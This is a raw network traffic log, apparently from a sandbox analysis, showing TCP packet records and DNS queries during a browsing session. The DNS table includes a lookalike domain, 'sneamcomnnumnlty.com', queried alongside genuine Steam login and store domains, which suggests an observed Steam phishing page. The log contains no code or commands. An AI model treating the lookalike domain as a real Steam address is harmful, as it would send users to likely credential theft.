Oct 6, 2024 13:20:55.046797991 CEST	443	49739	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:55.047363043 CEST	49739	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.047401905 CEST	443	49739	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:55.048469067 CEST	443	49739	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:55.048583984 CEST	49739	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.049377918 CEST	49739	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.049395084 CEST	49739	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.049452066 CEST	49739	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.049470901 CEST	443	49739	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:55.049683094 CEST	443	49739	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:55.049731970 CEST	49739	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.049758911 CEST	49739	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.049863100 CEST	49750	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.049894094 CEST	443	49750	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:55.049954891 CEST	49750	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.050199032 CEST	49750	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.050209045 CEST	443	49750	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:55.060127020 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.060142994 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.060168982 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.060209036 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.060240984 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.060261011 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.060321093 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.066438913 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.066468954 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.066570997 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.066570997 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.066593885 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.066692114 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.067344904 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.067362070 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.067446947 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.067459106 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.067578077 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.068911076 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.068928003 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.069026947 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.069026947 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.069039106 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.069152117 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.069886923 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.069901943 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.069986105 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.069986105 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.069994926 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.070060968 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.071767092 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.071790934 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.071836948 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.071844101 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.071858883 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.071883917 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.071902990 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.073988914 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.074007034 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.074059963 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.074089050 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.074139118 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.074702024 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.074717045 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.074776888 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.074784040 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.075126886 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.075459003 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.075476885 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.075599909 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.075618029 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.075736046 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.082587957 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.082632065 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.082670927 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.082678080 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.082710981 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.082741976 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.089864016 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.089884996 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.089911938 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.089945078 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.089952946 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.090001106 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.099781036 CEST	443	49738	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.100218058 CEST	49738	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.100246906 CEST	443	49738	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.100591898 CEST	443	49738	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.100981951 CEST	49738	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.101037025 CEST	443	49738	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.101344109 CEST	49738	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.143395901 CEST	443	49738	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.143942118 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.143973112 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.144037008 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.144113064 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.144146919 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.144202948 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.144500971 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.144577026 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.146558046 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.146590948 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.146635056 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.146650076 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.146676064 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.146696091 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.146753073 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.146990061 CEST	49733	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.147022009 CEST	443	49733	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.147506952 CEST	49751	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.147552013 CEST	443	49751	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.147706032 CEST	49751	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.149175882 CEST	49751	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.149187088 CEST	443	49751	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.153184891 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.153208971 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.153297901 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.153316021 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.153476000 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.153512001 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.153528929 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.153702021 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.153711081 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.153831959 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.153906107 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.153922081 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.153974056 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.153987885 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.154225111 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.154299974 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.154316902 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.154361963 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.154373884 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.154618979 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.157002926 CEST	49752	443	192.168.2.7	2.19.126.97
Oct 6, 2024 13:20:55.157043934 CEST	443	49752	2.19.126.97	192.168.2.7
Oct 6, 2024 13:20:55.157141924 CEST	49752	443	192.168.2.7	2.19.126.97
Oct 6, 2024 13:20:55.157424927 CEST	49752	443	192.168.2.7	2.19.126.97
Oct 6, 2024 13:20:55.157439947 CEST	443	49752	2.19.126.97	192.168.2.7
Oct 6, 2024 13:20:55.158229113 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.158245087 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.158317089 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.158329964 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.158412933 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.160718918 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.160737038 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.160799980 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.160820007 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.160947084 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.161096096 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.161113024 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.161168098 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.161175966 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.161396980 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.172632933 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.172693014 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.172751904 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.172770023 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.172802925 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.172823906 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.172828913 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.174756050 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.174806118 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.174839973 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.174846888 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.174902916 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.174911022 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.174962044 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.180541039 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.180587053 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.180619955 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.180627108 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.180670977 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.180677891 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.215101004 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.215128899 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.215200901 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.215220928 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.215245962 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.215358019 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.219161034 CEST	443	49747	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:55.219429970 CEST	49747	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.219458103 CEST	443	49747	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:55.220508099 CEST	443	49747	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:55.220566034 CEST	49747	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.220932007 CEST	49747	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.220999956 CEST	443	49747	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:55.221112967 CEST	49747	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:55.221122026 CEST	443	49747	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:55.226852894 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.227437019 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.227458000 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.227507114 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.227513075 CEST	443	49732	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:55.227546930 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.227566004 CEST	49732	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:55.239876032 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.239893913 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.239942074 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.239970922 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.239990950 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.240036964 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.240267038 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.240283012 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.240401983 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.240417957 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.240463018 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.240920067 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.240940094 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.240979910 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.240997076 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.241034031 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.241034031 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.241142035 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.241158962 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.241205931 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.241219997 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.241421938 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.247473955 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.247495890 CEST	443	49736	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:55.247586966 CEST	49736	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:55.247618914 CEST	443	49736	151.101.194.137	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 6, 2024 13:20:47.576113939 CEST	192.168.2.7	1.1.1.1	0x4fc	Standard query (0)	sneamcomnnumnlty.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:47.576272011 CEST	192.168.2.7	1.1.1.1	0x7d65	Standard query (0)	sneamcomnnumnlty.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:47.595580101 CEST	192.168.2.7	1.1.1.1	0x65a	Standard query (0)	sneamcomnnumnlty.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:47.595700979 CEST	192.168.2.7	1.1.1.1	0x1b8e	Standard query (0)	sneamcomnnumnlty.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:48.980635881 CEST	192.168.2.7	1.1.1.1	0x82f3	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:48.980833054 CEST	192.168.2.7	1.1.1.1	0x3be5	Standard query (0)	steamcommunity.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:49.495387077 CEST	192.168.2.7	1.1.1.1	0x4a27	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:49.495655060 CEST	192.168.2.7	1.1.1.1	0x2f3f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:50.525357008 CEST	192.168.2.7	1.1.1.1	0x73b9	Standard query (0)	sneamcomnnumnlty.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:50.525836945 CEST	192.168.2.7	1.1.1.1	0xa5d6	Standard query (0)	sneamcomnnumnlty.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:50.533350945 CEST	192.168.2.7	1.1.1.1	0xf636	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:50.533763885 CEST	192.168.2.7	1.1.1.1	0x42bf	Standard query (0)	steamcommunity.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:52.427512884 CEST	192.168.2.7	1.1.1.1	0x72b	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:52.427782059 CEST	192.168.2.7	1.1.1.1	0xaffe	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:52.437647104 CEST	192.168.2.7	1.1.1.1	0x6bf0	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:52.437891960 CEST	192.168.2.7	1.1.1.1	0xf666	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:52.438431978 CEST	192.168.2.7	1.1.1.1	0x8923	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:52.438719988 CEST	192.168.2.7	1.1.1.1	0xfc0f	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:54.128026962 CEST	192.168.2.7	1.1.1.1	0x13d1	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:54.128313065 CEST	192.168.2.7	1.1.1.1	0xcd56	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:54.130850077 CEST	192.168.2.7	1.1.1.1	0xb647	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:54.131195068 CEST	192.168.2.7	1.1.1.1	0x4099	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:54.701237917 CEST	192.168.2.7	1.1.1.1	0x85e4	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:54.701478004 CEST	192.168.2.7	1.1.1.1	0xa101	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:56.678276062 CEST	192.168.2.7	1.1.1.1	0x305a	Standard query (0)	recaptcha.net	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:56.678683996 CEST	192.168.2.7	1.1.1.1	0xf078	Standard query (0)	recaptcha.net	65	IN (0x0001)	false
Oct 6, 2024 13:20:56.681740999 CEST	192.168.2.7	1.1.1.1	0x7907	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:56.681922913 CEST	192.168.2.7	1.1.1.1	0x5fdb	Standard query (0)	store.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:56.770201921 CEST	192.168.2.7	1.1.1.1	0x85a1	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:56.770201921 CEST	192.168.2.7	1.1.1.1	0x9d6a	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:57.523147106 CEST	192.168.2.7	1.1.1.1	0xe65d	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:57.523597956 CEST	192.168.2.7	1.1.1.1	0x4684	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Oct 6, 2024 13:20:57.771823883 CEST	192.168.2.7	1.1.1.1	0xb183	Standard query (0)	recaptcha.net	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:57.772161961 CEST	192.168.2.7	1.1.1.1	0xddc8	Standard query (0)	recaptcha.net	65	IN (0x0001)	false
Oct 6, 2024 13:20:58.722132921 CEST	192.168.2.7	1.1.1.1	0x6fc3	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:58.722547054 CEST	192.168.2.7	1.1.1.1	0xc0fb	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 13:21:23.590257883 CEST	192.168.2.7	1.1.1.1	0xc9b1	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:23.590431929 CEST	192.168.2.7	1.1.1.1	0x6227	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Oct 6, 2024 13:21:24.205879927 CEST	192.168.2.7	1.1.1.1	0xb1c4	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:24.206044912 CEST	192.168.2.7	1.1.1.1	0x81aa	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Oct 6, 2024 13:21:24.518018961 CEST	192.168.2.7	1.1.1.1	0xf29e	Standard query (0)	fonts.cdnfonts.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:24.518240929 CEST	192.168.2.7	1.1.1.1	0xd24f	Standard query (0)	fonts.cdnfonts.com	65	IN (0x0001)	false
Oct 6, 2024 13:21:26.474086046 CEST	192.168.2.7	1.1.1.1	0xb95c	Standard query (0)	community.cloudflare.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:26.474251032 CEST	192.168.2.7	1.1.1.1	0x162b	Standard query (0)	community.cloudflare.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 13:21:26.474945068 CEST	192.168.2.7	1.1.1.1	0xf523	Standard query (0)	community.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:26.475166082 CEST	192.168.2.7	1.1.1.1	0xbf30	Standard query (0)	community.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 13:21:27.078469992 CEST	192.168.2.7	1.1.1.1	0x7c9b	Standard query (0)	community.cloudflare.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:27.078722000 CEST	192.168.2.7	1.1.1.1	0xb25e	Standard query (0)	community.cloudflare.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 13:21:27.383497953 CEST	192.168.2.7	1.1.1.1	0x6051	Standard query (0)	community.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:27.383497953 CEST	192.168.2.7	1.1.1.1	0x9462	Standard query (0)	community.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 13:21:30.068471909 CEST	192.168.2.7	1.1.1.1	0x72d0	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:30.069164991 CEST	192.168.2.7	1.1.1.1	0xf329	Standard query (0)	store.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 13:21:31.665668011 CEST	192.168.2.7	1.1.1.1	0x7ce0	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:31.666326046 CEST	192.168.2.7	1.1.1.1	0x282b	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 13:21:39.541295052 CEST	192.168.2.7	1.1.1.1	0xcc07	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:39.541723013 CEST	192.168.2.7	1.1.1.1	0x54ed	Standard query (0)	store.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 13:21:52.207567930 CEST	192.168.2.7	1.1.1.1	0x87a4	Standard query (0)	login.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:52.207756996 CEST	192.168.2.7	1.1.1.1	0x4eab	Standard query (0)	login.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 13:21:56.242366076 CEST	192.168.2.7	1.1.1.1	0x1e39	Standard query (0)	api.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:56.242542982 CEST	192.168.2.7	1.1.1.1	0x7e77	Standard query (0)	api.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 13:21:57.062109947 CEST	192.168.2.7	1.1.1.1	0x91df	Standard query (0)	help.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:57.062530041 CEST	192.168.2.7	1.1.1.1	0xd380	Standard query (0)	help.steampowered.com	65	IN (0x0001)	false
